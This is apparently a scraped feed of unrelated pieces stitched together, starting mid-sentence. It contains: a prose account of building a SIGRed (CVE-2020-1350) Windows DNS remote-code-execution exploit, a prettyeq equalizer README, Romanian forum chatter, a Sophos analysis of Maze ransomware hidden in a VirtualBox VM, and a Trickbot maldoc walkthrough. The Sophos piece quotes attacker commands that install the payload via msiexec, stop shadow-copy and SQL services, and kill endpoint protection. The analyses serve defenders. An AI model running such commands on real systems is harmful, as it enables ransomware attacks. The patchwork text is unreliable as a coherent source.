it). Then I checked functions in dns.exe that is allowed by CFG with a hope to find something useful. Most functions can be skipped because we can control only 1 argument. We can completely ignore functions with argument more than 1. After spending countless hours to bypass CFG, I found dns!NsecDNSRecordConvert function. From a decompiled code, param_1 is obviously a pointer to struct. At line 15, a server finds a buffer length for copying from string pointer at param_1+0x20. At line 18, a server allocates a memory for storing data. At line 22, a server copies string to a new allocated memory. With fully controlled function argument, we can make the function copies data (as string) from any address into a new allocated memory. Also, we can make a new allocated memory in our controlled area. Then read a data. So we can do arbitrary read with dns!NsecDNSRecordConvert function. Code Execution With ability to call a function in CFG allowed list with 1 argument and arbitrary read, I was thinking to do code execution with kernel32!WinExec or msvcrt!system. I choose msvcrt!system because kernel32.dll is more likely to be modified by Microsoft monthly patch. Offset in msvcrt.dll should be usable on any patch level. To do code execution with msvcrt!system, I find msvcrt!memcpy by reading from dns.exe import table, then calculating msvcrt!system address. Finally, repeating the controlling PC steps but jumping to msvcrt!system. Hooray, get code execution. After I succeed developing an exploit for Windows Server 2012R2. I just modified offsets of dns.exe and msvcrt.dll for Windows Server 2016 and Windows Server 2019. And it works perfectly. Demonstration Video Here is a demo video for Windows Server 2012 R2, Windows Server 2016 and Windows Server 2019 RCE on Windows Server 2012 R2 with CVE-2020–1350 (SIGRed) RCE on Windows Server 2016 with CVE-2020–1350 (SIGRed) RCE on Windows Server 2019 with CVE-2020–1350 (SIGRed) Reference: https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350 https://github.com/paulc/dnslib Source

prettyeq is a system-wide paramateric equalizer for pulseaudio. This software is in alpha. Use at your own discretion. Usage When the program is executed all pulseaudio streams will be routed through the equalizer. With no filters activated prettyeq acts as a passthrough sink. Right now prettyeq only supports two-channel sound. Filter types prettyeq has three filter types: one low shelf filter mounted at 20Hz one high shelf filter mounted at 20kHz five peakingEQ filters that can move freely Controls Click and drag points to boost and cut frequency bands. The dB gain range is ±12dB. Filter bandwidth and slope can be changed with the mousewheel. Quitting If your desktop has a system tray, the close button will hide the GUI but the equalizer will still be in effect. There are context menus in the application and tray that have a "exit" option to quit the application. Download git clone https://github.com/keur/prettyeq.git Source

Lunar?

Sunt trotil la H asta: La Multi Ani!

Corect, aici intervine AI, am discutat cu cineva prin telefon (alt telefon) despre o tema, iar acea tema mi s-a afisat la sugestii ads Edit:// am postat in trash intentionat, sunt drone (OZN) de cand lumea si pamantul, si nu sunt aisberg sau aisemn sa spun noaptea ce visez ziua

Under pressure to evade detection by endpoint protection, ransomware criminals try a more radical approach While conducting an investigation into an attack in July in which the attackers repeatedly attempted to infect computers with Maze ransomware, analysts with Sophos’ Managed Threat Response (MTR) discovered that the attackers had adopted a technique pioneered by the threat actors behind Ragnar Locker earlier this year, in which the ransomware payload was distributed inside of a virtual machine (VM). In the Maze incident, the threat actors distributed the file-encrypting payload of the ransomware on the VM’s virtual hard drive (a VirtualBox virtual disk image (.vdi) file), which was delivered inside of a Windows .msi installer file more than 700MB in size. The attackers also bundled a stripped down, 11 year old copy of the VirtualBox hypervisor inside the .msi file, which runs the VM as a “headless” device, with no user-facing interface. The Maze-delivered virtual machine was running Windows 7, as opposed to the Windows XP VM distributed in the Ragnar Locker incident. A threat hunt through telemetry data initially indicated the attackers may have been present on the attack target’s network for at least three days prior to the attack beginning in earnest, but subsequent analysis revealed that the attackers had penetrated the network at least six days prior to delivering the ransomware payload. The investigation also turned up several installer scripts that revealed the attackers’ tactics, and found that the attackers had spent days preparing to launch the ransomware by building lists of IP addresses inside the target’s network, using one of the target’s domain controller servers, and exfiltrating data to cloud storage provider Mega.nz. The threat actors initially demanded a $15 million ransom from the target of the attack. The target did not pay the ransom. How the attack transpired Subsequent analysis by the MTR team revealed that the attackers orchestrated the attack using batch files, and made multiple attempts to maliciously encrypt machines on the network; The first iteration of ransomware payloads were all copied to the root of the %programdata% folder, using the filenames enc.exe, enc6.exe, and network.dll. The attackers then created scheduled tasks that would launch the ransomware with names based on variants of Windows Update Security or Windows Update Security Patches. The initial attack did not produce the desired result; The attackers made a second attempt, with a ransomware payload named license.exe, launched from the same location. But before they launched it, they executed a script that disabled Windows Defender’s Real-Time Monitoring feature. The attackers then, once again, executed a command that would create a scheduled task on each computer they had copied the license.exe payload to, this time named Google Chrome Security Update, and set it up to run once at midnight (in the local time zone of the infected computers). These detections indicate that the ransomware payloads were being caught and quarantined on machines protected by Sophos endpoint products before they could cause harm. Sophos analysts started to see detections that indicated the malware was triggering the Cryptoguard behavioral protections of Intercept X. In this case, Cryptoguard was preventing the malware from encrypting files by intercepting and neutralizing the Windows APIs that the ransomware was attempting to use to encrypt the hard drive. So the attackers decided to try a more radical approach for their third attempt. Weaponized virtual machine The Maze attackers delivered the attack components for the third attack in the form of an .msi installer file. Inside of the .msi was an installer for both the 32-bit and 64-bit versions of VirtualBox 3.0.4. This version dates back to 2009 and is still branded with its then-publisher’s name, Sun Microsystems. The .msi also contains a 1.9GB (uncompressed) virtual disk named micro.vdi, which itself contains a bootable partition of Windows 7 SP1, and a file named micro.xml that contains configuration information for the virtual hard drive and session. The root of that virtual disk contained three files associated with the Maze ransomware: preload.bat, vrun.exe, and a file just named payload (with no file extension), which is the actual Maze DLL payload. The DLL file has a different, internal name for itself. The preload.bat file (shown below) modifies the computer name of the virtual machine, generating a series of random numbers to use as the name, and joins the virtual machine to the network domain of the victim organization’s network using a WMI command-line function. The virtual machine was, apparently, configured in advance by someone who knew something about the victim’s network, because its configuration file (“micro.xml”) maps two drive letters that are used as shared network drives in this particular organization, presumably so it can encrypt the files on those shares as well as on the local machine. It also creates a folder in C:\SDRSMLINK\ and shares this folder with the rest of the network. At some point (it’s unclear when and how, exactly, it accomplished this), the malware also writes out a file named startup_vrun.bat. We found this file in c:\users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Startup, which means it’s a persistence mechanism that relies on the computer rebooting before the attackers launch the malware. The script copies the same three files found on the root of the VM disk (the vrun.exe and payload DLL binaries, and the preload.bat batch script) to other disks, then issues a command to shut down the computer immediately. When someone powers the computer on again, the script executes vrun.exe. The C:\SDRSMLINK\ folder location, created when the .msi file first runs, acts as a clearinghouse for specific folders the malware wants to track. It’s full of symbolic links (symlinks, similar to Windows shortcuts) to folders on the local hard drive. The Ragnar Locker connection The technique used in the third attack is completely different to those used before by the threat actors behind Maze, but the investigators recognized it immediately because the team who responded to this Maze attack are the same team that responded to the Ragnar Locker ransomware attack, where the technique was first seen. In an earlier attack, Ragnar Locker also deployed a virtual machine in an attempt to bypass protection measures In Sophos’ earlier reporting about Ragnar Locker, we wrote that “Ragnar Locker ransomware was deployed inside an Oracle VirtualBox Windows XP virtual machine. The attack payload was a 122 MB installer with a 282 MB virtual image inside—all to conceal a 49 kB ransomware executable.” MITRE has subsequently added this technique to its ATT&CK framework. The Maze attackers took a slightly different approach, using a virtual Windows 7 machine instead of XP. This significantly increased the size of the virtual disk, but also adds some new functionality that wasn’t available in the Ragnar Locker version. The threat actors bundled a VirtualBox installer and the weaponized VM virtual drive inside a file named pikujuwusewa.msi. The attackers then used a batch script called starter.bat.to launch the attack from within the VM. The virtual machine (VM) that Sophos extracted from the Maze attack shows that this (newer) VM is configured in such a way that it allows easy insertion of another ransomware on the attacker’s ‘builder’ machine. But the cost in terms of size is signficant: The Ragnar Locker virtual disk was only a quarter the size of the nearly 2GB virtual disk used in the Maze attack—all just to conceal one 494 KB ransomware executable from detection. The attackers also executed the following commands on the host computer during the Maze attack: cmd /c msiexec /qn /i \\<machine-hosting-malware>\frs\pikujuwusewa.msi This ran the Microsoft Installer that installs VirtualBox and the virtual hard drive. C:\Windows\System32\cmd.exe /C sc stop vss They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies. C:\Windows\System32\cmd.exe /C sc stop sql They halt SQL services to ensure that they can encrypt any databases. C:\Windows\System32\cmd.exe /C taskkill /F /IM SavService.exe They attempt to stop Sophos endpoint protection services (which fails). C:\Windows\System32\cmd.exe /C sc start VBoxDRV Finally, they start the VirtualBox service and launch the VM. The future of ransomware? The Maze threat actors have proven to be adept at adopting the techniques demonstrated to be successful by other ransomware gangs, including the use of extortion as a means to extract payment from victims. As endpoint protection products improve their abilities to defend against ransomware, attackers are forced to expend greater effort to make an end-run around those protections. Sophos endpoint products detect components of this attack as Troj/Ransom-GAV or Troj/Swrort-EG. Indicators of compromise can be found on the SophosLabs Github. Source

This Trickbot document hid a .dll in an interesting place. If you’d like to play along, you can find the document and dropped .dll here: Document: https://app.any.run/tasks/96c149ce-b01a-4543-a8d4-2b98bb18b9c7 Document Password: INV15 SHA256: 052C9196DFE764F1FBD3850D706D10601235DC266D1151C93D34454A12206C28 Dropped File: C:\programdata\objStreamUTF8NoBOM.Vbe Dropped File: C:\UTF8NoBOM\APSLVDFB.dll Dropped .dll: https://app.any.run/tasks/5bc86667-aab3-4513-a433-3697d6a9d3eb After supplying the provided password to open the document, I suggest that you remove it, save the document, and then use tools like oledump.py to extract the macro. Notice how it keeps making references to ActiveDocument.Range(Start and End) and ActiveDocument.Words. The macro is pulling data from the current document, piecing them together, and then writing it out to this file and location: C:\programdata\objStreamUTF8NoBOM.Vbe Once that is done, the macro creates a Wscript.exe object and executes that .vbe file. But where did it get all of that data? Where was it hiding in the document? Well, it wasn’t really ‘hiding’ in the typical places we see obfuscated commands (I’m looking at you, Emotet). In this case, it was hiding behind the the picture we see in the document itself. We can see the text below by deleting that picture and zooming in 400%. You can fit an entire .dll on one page of a word document if you use 1 point font. Who knew? The macro in the document takes the above characters, rearranges them, and writes them to objStreamUTF8NoBOM.Vbe. Here’s that .vbe file. Near the bottom of objStreamUTF8NoBOM.Vbe, we can see the base64 decoding function. It gets copied to the following location: C:\UTF8NoBOM\APSLVDFB.dll The last two lines create a wscript.shell object and use regsvr32 to run the .dll. And there you go! Thanks for reading! Source